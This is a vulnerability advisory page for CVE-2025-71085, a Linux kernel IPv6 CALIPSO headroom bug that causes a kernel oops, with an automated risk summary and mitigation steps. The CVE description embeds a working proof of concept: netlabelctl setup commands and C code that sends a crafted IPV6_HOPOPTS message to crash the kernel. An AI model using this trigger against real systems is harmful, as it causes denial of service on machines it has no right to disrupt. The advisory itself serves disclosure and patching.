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CVE Record

CVE-2025-71085: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC: Using `netlabelctl` tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0);

UnknownCVSS not scoredNot KEV-listedUpdated
Glexia's TakeAutomated analysismoderate

Security readout for executives and security teams

Plain-English summary

CVE-2025-71085 is a Linux kernel IPv6 CALIPSO handling bug that can cause a kernel oops when specific packet-labeling logic passes an invalid headroom size. The confirmed impact is system stability, not data theft. Public sources do not provide CVSS, active exploitation, or broad remote exposure evidence.

Executive priority

Treat this as a stability risk for specialized Linux networking deployments. It is not currently supported by sources as an emergency Internet-wide threat, but kernel crashes can affect availability on exposed operational systems.

Technical view

The flaw is an implicit integer cast in __skb_cow() reached through calipso_skbuff_setattr(). A large headroom value can become negative and reach pskb_expand_head(), triggering BUG_ON(nhead < 0). Linux stable commits adjust calipso_skbuff_setattr() so skb_cow() is only used to grow headroom.

Likely exposure

Exposure is most relevant to Linux systems using IPv6 CALIPSO/NetLabel functionality. The public PoC context depends on CALIPSO policy configuration and a local IPv6 socket path. General Internet-facing exposure is not established in the provided sources.

Exploitation context

The CVE is not listed as KEV, and the bundle provides no active exploitation evidence. A PoC is included in the CVE description, but the sources do not show weaponized public exploitation or remote unauthenticated impact.

Researcher notes

Focus validation on the CALIPSO path, skb_cow() headroom handling, and whether the stable fix is present. The affected-version data in the bundle is sparse and commit-oriented, so branch-specific kernel provenance matters.

Mitigation direction

  • Apply the relevant Linux stable kernel fix for your deployed kernel branch.
  • Check vendor advisories for downstream products, including Siemens where applicable.
  • Prioritize systems using IPv6 CALIPSO, NetLabel, or security-label networking features.
  • If patching is delayed, review whether CALIPSO/NetLabel use is required.

Validation and detection

  • Inventory Linux kernel versions across servers, appliances, and embedded products.
  • Identify systems with IPv6 CALIPSO or NetLabel policy enabled.
  • Confirm whether deployed kernels include one of the referenced stable fixes.
  • Review vendor advisories for product-specific affected versions and fixed releases.
Prepared
Confidence
medium
Sources
10

Generated from the cited source records. This long-tail analysis has not been individually reviewed by a named human.

Potential ATT&CK relevance

Conservative CVE-to-ATT&CK context

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CVE-2025-71085 mapping review

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Vulnerability profileCVE Program record
Severity
Unknown
CVSS
Not scored
Known Exploited
No
Published
Official CVE source material

CNA and ADP enrichment extracted from CVE v5

These fields come from the CVE record and ADP containers, not from Glexia's Take. They preserve time-varying source decisions such as CISA SSVC, KEV status, CVSS metrics, and provider references.

0CVSS vectors
3Timeline events
2ADP providers
9Source links

SSVC decision data

CISA-ADPCISA Coordinator
Timestamp
Version
2.0.3
Exploitation: noneAutomatable: noTechnical Impact: partial

Vulnerability timeline

Timeline events are normalized from CVE metadata, CNA source timelines, ADP timelines, and KEV metadata when present.

  1. CVE reservedCVE Program

    The CVE ID was reserved by the assigning CNA.

  2. CVE publishedCVE Program

    The CVE record was published.

  3. CVE updatedCVE Program

    The CVE record metadata indicates this as the latest update time.

ADP provider summaries

CISA-ADPCISA ADP Vulnrichment
other:ssvc
siemens-SADPADP container
Affected products

Products and packages named in the record

VendorProductVersion / packageStatus
LinuxLinux2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3, 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3, 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3, 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3, 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3, 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3, 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3unaffected
LinuxLinux4.8, 0, 5.10.248, 5.15.198, 6.1.160, 6.6.120, 6.12.64, 6.18.4, 6.19affected
Weakness

CWE details

No CWE listed

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